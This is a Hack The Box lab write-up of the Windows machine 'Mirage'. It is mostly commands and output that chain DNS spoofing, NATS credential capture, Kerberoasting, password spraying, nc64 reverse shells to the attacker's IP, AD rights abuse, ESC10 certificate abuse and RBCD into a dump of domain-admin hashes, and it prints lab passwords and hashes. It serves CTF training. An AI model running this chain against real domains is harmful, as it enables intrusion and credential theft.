Hack The Box / WINDOWS / 2026-03-18
Hack The Box — Mirage (Windows)
NFS report leakage enables NATS credential theft via DNS spoofing, AD compromise chains through Kerberoasting and delegated rights abuse, ending in ESC10 + RBCD to dump Administrator hash and full domain takeover.
Target
- IP:
10.129.114.234
Port scan
sudo nmap -sC -sV 10.129.114.234 -p- -T5 -v
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-20 03:42:24Z)
111/tcp open rpcbind?
| rpcinfo:
| program version port/proto service
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
|_ 100003 2,3,4 2049/tcp6 nfs
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after: 2105-07-04T19:58:41
| MD5: da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
|_SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after: 2105-07-04T19:58:41
| MD5: da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
|_SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
|_ssl-date: TLS randomness does not represent time
2049/tcp open nfs 2-4 (RPC #100003)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after: 2105-07-04T19:58:41
| MD5: da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
|_SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after: 2105-07-04T19:58:41
| MD5: da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
|_SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
|_ssl-date: TLS randomness does not represent time
4222/tcp open vrml-multi-use?
| fingerprint-strings:
| GenericLines:
| INFO {"server_id":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","server_name":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":100,"client_ip":"10.10.15.37","xkey":"XDTWK2BGYFKP7JNQT7X2OIKTJKBUILOH3WJVHGL6TEI3Q5E5NHQXSFBT"}
| -ERR 'Authorization Violation'
| GetRequest:
| INFO {"server_id":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","server_name":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":101,"client_ip":"10.10.15.37","xkey":"XDTWK2BGYFKP7JNQT7X2OIKTJKBUILOH3WJVHGL6TEI3Q5E5NHQXSFBT"}
| -ERR 'Authorization Violation'
| HTTPOptions:
| INFO {"server_id":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","server_name":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":102,"client_ip":"10.10.15.37","xkey":"XDTWK2BGYFKP7JNQT7X2OIKTJKBUILOH3WJVHGL6TEI3Q5E5NHQXSFBT"}
| -ERR 'Authorization Violation'
| NULL:
| INFO {"server_id":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","server_name":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":99,"client_ip":"10.10.15.37","xkey":"XDTWK2BGYFKP7JNQT7X2OIKTJKBUILOH3WJVHGL6TEI3Q5E5NHQXSFBT"}
|_ -ERR 'Authentication Timeout'
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
53499/tcp open msrpc Microsoft Windows RPC
53511/tcp open msrpc Microsoft Windows RPC
56996/tcp open msrpc Microsoft Windows RPC
57024/tcp open msrpc Microsoft Windows RPC
58356/tcp open msrpc Microsoft Windows RPC
58363/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
58364/tcp open msrpc Microsoft Windows RPC
58379/tcp open msrpc Microsoft Windows RPC
Add dc01.mirage.htb and mirage.htb to /etc/hosts.
smbclient -N -L '//dc01.mirage.htb/'
session setup failed: NT_STATUS_NOT_SUPPORTED
It seems NTLM authentication is disabled.
NFS share and leaked reports
showmount -e 10.129.114.234
Export list for 10.129.114.234:
/MirageReports (everyone)
mkdir mnt
sudo mount -t nfs 10.129.114.234:/MirageReports ./mnt -o nolock
cd mnt
ls -la
-rwx------+ 1 nobody nogroup 8530639 May 20 15:08 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwx------+ 1 nobody nogroup 9373389 May 26 21:37 Mirage_Authentication_Hardening_Report.pdf
Open Incident_Report_Missing_DNS_Record_nats-svc.pdf.
We discover:
- new subdomain:
nats-svc.mirage.htb - NATS server running on
4222(https://github.com/nats-io/nats-server) - They use command:
./nats -s nats://nats-svc:4222 rtt --user $user --password $password - Screenshot shows path:
C:\Users\Dev_Account_A\Desktop\Nats-cli - Another screenshot shows insecure dynamic DNS updates are allowed.
Open Mirage_Authentication_Hardening_Report.pdf.
It says NTLM is being disabled and Kerberos must be used.
Email found: ad-security@mirage.htb.
User discovery and NATS credential interception
Download kerbrute:
- https://github.com/ropnop/kerbrute
Put user Dev_Account_A in users.txt.
./kerbrute userenum -d mirage.htb --dc 10.129.114.234 ./users.txt -t 50
2025/07/18 01:56:20 > [+] VALID USERNAME: Dev_Account_A@mirage.htb
Also add Dev_Account_{x} in users.txt, where x goes from B to Z.
./kerbrute userenum -d mirage.htb --dc 10.129.114.234 ./users.txt -t 50
2025/07/18 02:06:26 > [+] VALID USERNAME: Dev_Account_B@mirage.htb
2025/07/18 02:06:26 > [+] VALID USERNAME: Dev_Account_A@mirage.htb
Remove invalid users from users.txt.
Since insecure DNS updates are allowed, we can point nats-svc.mirage.htb to our machine.
We listen while mimicking a NATS server.
When remote client connects, it will send credentials, which we can capture.
So we need to spoof NATS server.
nc 10.129.114.234 4222
INFO {"server_id":"NADOERGZDKC3Y72IOUU527ZV3DL5QF5CXPO5JNZ3YY7MGXJZJNH5SFBK","server_name":"NADOERGZDKC3Y72IOUU527ZV3DL5QF5CXPO5JNZ3YY7MGXJZJNH5SFBK","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":170,"client_ip":"10.10.15.37","xkey":"XCSB3B75FBGSBWTGV2NJH5SCHHSHVA5R3LI5J5PGNUMVPOZRZSCSV6XR"}
Put it in test.txt.
Listen with netcat:
nc -vlnp 4222 < test.txt
msfconsole
use admin/dns/dyn_dns_update
set RHOST 10.129.114.234
set DOMAIN mirage.htb
set HOSTNAME nats-svc
set IP 10.10.15.37
exploit
[+] Did not find an existing A record for nats-svc.mirage.htb
[*] Sending dynamic DNS add message...
[+] The record 'nats-svc.mirage.htb => 10.10.15.37' has been added!
[*] Auxiliary module execution completed
Wait. Netcat terminal displays:
CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":true,"no_responders":true}
PING
We have Dev_Account_A credentials:
Dev_Account_A : hx5h7F5554fP@1337!
./kerbrute --dc dc01.mirage.htb -d mirage.htb -v passwordspray users.txt 'hx5h7F5554fP@1337!'
2025/07/20 11:46:11 > [!] Dev_Account_A@mirage.htb:hx5h7F5554fP@1337! - Invalid password
2025/07/20 11:46:11 > [!] Dev_Account_B@mirage.htb:hx5h7F5554fP@1337! - Invalid password
So these credentials are valid only for NATS.
nats -s nats://dc01.mirage.htb:4222 rtt --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
nats://dc01.mirage.htb:4222:
nats://10.129.114.234:4222: 6.69455ms
Works.
nats -s nats://dc01.mirage.htb:4222 events -a --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
Listening for Advisories on $JS.EVENT.ADVISORY.>
Listening for Metrics on $JS.EVENT.METRIC.>
Listening for Client Connection events on $SYS.ACCOUNT.*.CONNECT
Listening for Client Disconnection events on $SYS.ACCOUNT.*.DISCONNECT
Listening for Authentication Errors events on $SYS.SERVER.*.CLIENT.AUTH.ERR
[18:50:03] [Yc9aFmHKw07wnWvi7tFLrK] JetStream API Access
Server: NADOERGZDKC3Y72IOUU527ZV3DL5QF5CXPO5JNZ3YY7MGXJZJNH5SFBK
Subject: $JS.API.STREAM.INFO.auth_logs
Client:
User: Dev_Account_A Account: dev
Host: dead:beef::66
ID: 415
Name: NATS CLI Version 0.2.2
Library Version: 1.41.1 Language: go
Request:
Empty Request
Response:
{"type":"io.nats.jetstream.api.v1.stream_info_response","total":0,"offset":0,"limit":0,"config":{"name":"auth_logs","subjects":["logs.auth"],"retention":"limits","max_consumers":-1,"max_msgs":100,"max_bytes":1048576,"max_age":0,"max_msgs_per_subject":-1,"max_msg_size":-1,"discard":"new","storage":"file","num_replicas":1,"duplicate_window":120000000000,"compression":"none","allow_direct":true,"mirror_direct":false,"sealed":false,"deny_delete":true,"deny_purge":true,"allow_rollup_hdrs":false,"consumer_limits":{},"allow_msg_ttl":false,"metadata":{"_nats.level":"1","_nats.req.level":"0","_nats.ver":"2.11.3"}},"created":"2025-05-05T07:18:19.6244845Z","state":{"messages":5,"bytes":570,"first_seq":1,"first_ts":"2025-05-05T07:18:56.6788658Z","last_seq":5,"last_ts":"2025-05-05T07:19:27.2106658Z","num_subjects":1,"consumer_count":0},"cluster":{"leader":"NADOERGZDKC3Y72IOUU527ZV3DL5QF5CXPO5JNZ3YY7MGXJZJNH5SFBK"},"ts":"2025-07-20T18:50:03.3024333Z"}
Two ways to read credentials.
Method 1
nats -s nats://dc01.mirage.htb:4222 stream view --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
There is only auth_logs, press Enter.
We notice:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
Method 2
nats -s nats://dc01.mirage.htb:4222 consumer ls --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
> auth_logs
nats -s nats://dc01.mirage.htb:4222 consumer add auth_logs test --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
Configuration:
Name: test
Pull Mode: true
Deliver Policy: All
Ack Policy: Explicit
Ack Wait: 30.00s
Replay Policy: Instant
Max Ack Pending: 1,000
Max Waiting Pulls: 512
State:
Host Version: 2.11.3
Required API Level: 0 hosted at level 1
Last Delivered Message: Consumer sequence: 0 Stream sequence: 0
Acknowledgment Floor: Consumer sequence: 0 Stream sequence: 0
Outstanding Acks: 0 out of maximum 1,000
Redelivered Messages: 0
Unprocessed Messages: 5
Waiting Pulls: 0 of maximum 512
nats -s nats://dc01.mirage.htb:4222 consumer next auth_logs test --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
[12:08:28] subj: logs.auth / tries: 1 / cons seq: 1 / str seq: 1 / pending: 4
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
Acknowledged message
We obtained credentials:
david.jjackson : pN8kQmn6b86!1234@
Add david.jjackson to users.txt.
sudo ntpdate dc01.mirage.htb
./kerbrute --dc dc01.mirage.htb -d mirage.htb -v passwordspray users.txt 'pN8kQmn6b86!1234@'
2025/07/20 19:11:04 > [!] Dev_Account_A@mirage.htb:pN8kQmn6b86!1234@ - Invalid password
2025/07/20 19:11:04 > [!] Dev_Account_B@mirage.htb:pN8kQmn6b86!1234@ - Invalid password
2025/07/20 19:11:04 > [+] VALID LOGIN: david.jjackson@mirage.htb:pN8kQmn6b86!1234@
getTGT.py mirage.htb/'david.jjackson':'pN8kQmn6b86!1234@' -dc-ip 10.129.114.234
[*] Saving ticket in david.jjackson.ccache
export KRB5CCNAME='david.jjackson.ccache'
nxc smb dc01.mirage.htb -d mirage.htb -k --use-kcache --shares
SMB dc01.mirage.htb 445 dc01 [*] x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB dc01.mirage.htb 445 dc01 [+] mirage.htb\david.jjackson from ccache
SMB dc01.mirage.htb 445 dc01 [*] Enumerated shares
SMB dc01.mirage.htb 445 dc01 Share Permissions Remark
SMB dc01.mirage.htb 445 dc01 ----- ----------- ------
SMB dc01.mirage.htb 445 dc01 ADMIN$ Remote Admin
SMB dc01.mirage.htb 445 dc01 C$ Default share
SMB dc01.mirage.htb 445 dc01 IPC$ READ Remote IPC
SMB dc01.mirage.htb 445 dc01 NETLOGON READ Logon server share
SMB dc01.mirage.htb 445 dc01 SYSVOL READ Logon server share
It seems nothing useful in shares.
nxc smb dc01.mirage.htb -d mirage.htb -k --use-kcache --rid-brute 5000 | grep SidTypeUser | cut -d: -f2 | cut -d \\ -f2 | cut -d' ' -f1 > users_2.txt
nxc ldap dc01.mirage.htb -d mirage.htb -k --use-kcache
LDAP dc01.mirage.htb 389 DC01 [*] None (name:DC01) (domain:mirage.htb)
LDAP dc01.mirage.htb 389 DC01 [+] mirage.htb\david.jjackson from ccache
bloodhound-ce-python -u david.jjackson -k -no-pass -ns 10.129.114.234 -d 'mirage.htb' -dc dc01.mirage.htb -c All --zip
Load zip into BloodHound.
Cypher -> Active Directory -> all kerberoastable users.
There is nathan.aadam.
Download targetedKerberoast:
- https://github.com/ShutdownRepo/targetedKerberoast
python3 targetedKerberoast/targetedKerberoast.py -v --dc-ip 10.129.114.234 --dc-host dc01.mirage.htb -d mirage.htb -u 'david.jjackson' -k --no-pass
It returns a long $krb5tgs$23$*nathan.aadam... hash.
Put it in file hash:
./hashcat-6.2.6/hashcat.bin -a 0 ./hash ./rockyou.txt
We get password:
3edc#EDC3
Credentials:
nathan.aadam : 3edc#EDC3
getTGT.py mirage.htb/'nathan.aadam':'3edc#EDC3' -dc-ip 10.129.114.234
[*] Saving ticket in nathan.aadam.ccache
From BloodHound, nathan.aadam is in Remote Management Users, so we can get a shell.
In /etc/krb5.conf set:
[realms]
MIRAGE.HTB = {
kdc = dc01.mirage.htb
admin_server = dc01.mirage.htb
}
[domain_realm]
.mirage.htb = MIRAGE.HTB
mirage.htb = MIRAGE.HTB
Run:
evil-winrm -i dc01.mirage.htb -r MIRAGE.HTB
We obtain a PowerShell shell.
Since it is unstable, get a more stable shell with nc64.exe.
Upload nc64.exe to target (for example C:\tmp):
- https://github.com/int0x33/nc.exe/raw/refs/heads/master/nc64.exe
Listen:
rlwrap nc -vlnp 4444
On victim:
.\nc64.exe -e cmd.exe 10.10.15.37 4444
powershell
More credentials and AD abuse chain
cd C:\Program Files\Nats-Server
type nats-server.conf
listen: '0.0.0.0:4222'
jetstream: {
store_dir: 'C:\Program Files\Nats-Server\tmp'
}
accounts: {
'$SYS': {
users: [
{ user: 'sysadmin', password: 'bb5M0k5XWIGD' }
]
},
'dev': {
jetstream: true,
users: [
{ user: 'Dev_Account_A', password: 'hx5h7F5554fP@1337!' },
{ user: 'Dev_Account_B', password: 'tvPFGAzdsJfHzbRJ' }
]
}
}
Credentials found:
sysadmin : bb5M0k5XWIGDDev_Account_B : tvPFGAzdsJfHzbRJ
./kerbrute --dc dc01.mirage.htb -d mirage.htb -v passwordspray users_2.txt 'tvPFGAzdsJfHzbRJ'
Dev_Account_B NATS password is not reused by any AD user.
./kerbrute --dc dc01.mirage.htb -d mirage.htb -v passwordspray users_2.txt 'bb5M0k5XWIGD'
sysadmin NATS password is not reused by any AD user.
Download winPEAS:
- https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS
.\winpeas.exe
We notice:
Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : MIRAGE
DefaultUserName : mark.bbond
DefaultPassword : 1day@atime
Alternative:
reg query 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
LastUsedUsername REG_SZ mark.bbond
DefaultPassword REG_SZ 1day@atime
getTGT.py mirage.htb/'mark.bbond':'1day@atime' -dc-ip 10.129.114.234
[*] Saving ticket in mark.bbond.ccache
export KRB5CCNAME='mark.bbond.ccache'
mark.bbond is not in Remote Management Users, so we cannot use evil-winrm.
But we can get reverse shell using RunasCs.exe + nc64.exe.
Download RunasCs:
- https://github.com/antonioCoco/RunasCs
Listen:
rlwrap nc -vlnp 4444
On victim:
.\RunasCs.exe 'mark.bbond' '1day@atime' "C:\tmp\nc64.exe -e cmd.exe 10.10.15.37 4444"
We obtain reverse shell as ee.reed.
Get PowerShell:
powershell
From BloodHound, mark.bbond is in IT_Support, which has ForceChangePassword over javier.mmarshall.
Download bloodyAD:
- https://github.com/CravateRouge/bloodyAD
python3 bloodyAD/bloodyAD.py --host dc01.mirage.htb -d mirage.htb --dc-ip 10.129.114.234 -k set password javier.mmarshall 'Winter2025!'
[+] Password changed successfully!
getTGT.py mirage.htb/'javier.mmarshall':'Winter2025!' -dc-ip 10.129.114.234
Error:
Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
If we try RunasCs:
.\RunasCs.exe 'javier.mmarshall' 'Winter2025!' "C:\tmp\nc64.exe -e cmd.exe 10.10.15.37 4444"
Error:
[-] RunasCsException: LogonUser failed with error code: Your account has time restrictions that keep you from signing in right now
Set javier.mmarshall logon hours equal to mark.bbond.
Get-ADUser mark.bbond -property logonhours | select-object -expand logonhours
All bytes are 255.
[byte[]]$hours = @(255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255)
Set-ADUser -identity 'javier.mmarshall' -replace @{logonhours = $hours}
Also do:
python3 bloodyAD/bloodyAD.py --host dc01.mirage.htb -d mirage.htb --dc-ip 10.129.114.234 -k remove uac javier.mmarshall -f ACCOUNTDISABLE
Then again:
getTGT.py mirage.htb/'javier.mmarshall':'Winter2025!' -dc-ip 10.129.114.234
[*] Saving ticket in javier.mmarshall.ccache
Now it works.
export KRB5CCNAME='javier.mmarshall.ccache'
From BloodHound, javier.mmarshall has ReadGMSAPassword over machine account Mirage-Service$.
Download gMSADumper:
- https://github.com/micahvandeusen/gMSADumper
python3 gMSADumper/gMSADumper.py -k -d mirage.htb -l dc01.mirage.htb
Users or groups who can read password for Mirage-Service$:
> javier.mmarshall
Mirage-Service$:::305806d84f7c1be93a07aaf40f0c7866
Mirage-Service$:aes256-cts-hmac-sha1-96:80bada65a4f84fb9006013e332105db15ac6f07cb9987705e462d9491c0482ae
Mirage-Service$:aes128-cts-hmac-sha1-96:ff1d75e3a88082f3dffbb2b8e3ff17dd
getTGT.py mirage.htb/'Mirage-Service$' -hashes ':305806d84f7c1be93a07aaf40f0c7866' -dc-ip 10.129.114.234
[*] Saving ticket in Mirage-Service$.ccache
export KRB5CCNAME='Mirage-Service$.ccache'
Upload PowerView to victim:
- https://github.com/PowerShellMafia/PowerSploit/raw/master/Recon/PowerView.ps1
In mark.bbond shell:
. .\PowerView.ps1
Find-InterestingDomainAcl
We notice:
ObjectDN : CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
AceQualifier : AccessAllowed
ActiveDirectoryRights : WriteProperty
ObjectAceType : e48d0154-bcf8-11d1-8702-00c04fb96050
AceFlags : None
AceType : AccessAllowedObject
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-2127163471-3824721834-2568365109-1112
IdentityReferenceName : Mirage-Service$
IdentityReferenceDomain : mirage.htb
IdentityReferenceDN : CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
IdentityReferenceClass : computer
ACE e48d0154-bcf8-11d1-8702-00c04fb96050 corresponds to property set Public Information.
Reference:
- https://learn.microsoft.com/en-us/windows/win32/adschema/r-public-information
For example, userPrincipalName and servicePrincipalName are in this property set, so we can modify them.
Potentially we can set mark.bbond UPN to Administrator and request a cert as Administrator.
That attack does not work here because of patch described at:
- https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-3-33efb00856ac
Check:
reg query HKLM\System\CurrentControlSet\Services\Kdc
We notice:
StrongCertificateBindingEnforcement REG_DWORD 0x1
So the patch is active.
In practice, certificate includes requester SID. When authenticating, there is mismatch between UPN (administrator) and SID (from mark.bbond).
Check weak mapping for Schannel auth:
reg query HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel
We notice:
CertificateMappingMethods REG_DWORD 0x4
So there is weak UPN-based mapping. This mapping ignores SID extension.
Therefore ESC10 requirements are met.
Reference:
- https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc10-weak-certificate-mapping
With Mirage-Service$ ticket:
python3 bloodyAD/bloodyAD.py --host dc01.mirage.htb -d mirage.htb --dc-ip 10.129.114.234 -k set object mark.bbond userprincipalname -v 'DC01$@mirage.htb'
[+] mark.bbond's userPrincipalName has been updated
With mark.bbond ticket:
certipy req -username mark.bbond@mirage.htb -k -no-pass -ca 'mirage-DC01-CA' -target dc01.mirage.htb -template User
[*] Wrote certificate and private key to 'dc01.pfx'
With Mirage-Service$ ticket:
python3 bloodyAD/bloodyAD.py --host dc01.mirage.htb -d mirage.htb --dc-ip 10.129.114.234 -k set object mark.bbond userprincipalname -v 'mark.bbond'
[+] mark.bbond's userPrincipalName has been updated
With mark.bbond ticket:
certipy auth -pfx dc01.pfx -dc-ip 10.129.114.234 -domain 'mirage.htb' -ldap-shell
[*] Certificate identities:
[*] SAN UPN: 'DC01$@mirage.htb'
[*] Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.129.114.234:636'
[*] Authenticated to '10.129.114.234' as: 'u:MIRAGE\\DC01$'
Type help for list of commands
#
We have an ldap-shell.
# set_rbcd DC01$ mark.bbond
Delegation rights modified successfully!
mark.bbond can now impersonate users on DC01$ via S4U2Proxy
With Mirage-Service$ ticket:
python3 bloodyAD/bloodyAD.py --host dc01.mirage.htb -d mirage.htb --dc-ip 10.129.114.234 -k set object mark.bbond serviceprincipalname -v 'cifs/x'
[+] mark.bbond's servicePrincipalName has been updated
With mark.bbond ticket:
getST.py -spn 'cifs/dc01.mirage.htb' -impersonate 'DC01$' -dc-ip 10.129.114.234 -k -no-pass mirage.htb/'mark.bbond'
[*] Saving ticket in DC01$@cifs_dc01.mirage.htb@MIRAGE.HTB.ccache
export KRB5CCNAME='DC01$@cifs_dc01.mirage.htb@MIRAGE.HTB.ccache'
secretsdump.py -k -no-pass 'mirage.htb'/'DC01$'@'dc01.mirage.htb'
Among printed hashes there is Administrator:
mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3:::
getTGT.py mirage.htb/'Administrator' -hashes ':7be6d4f3c2b9c0e3560f5a29eeb1afb3' -dc-ip 10.129.114.234
[*] Saving ticket in Administrator.ccache
export KRB5CCNAME='Administrator.ccache'
evil-winrm -i dc01.mirage.htb -r MIRAGE.HTB
We obtain PowerShell shell as Administrator.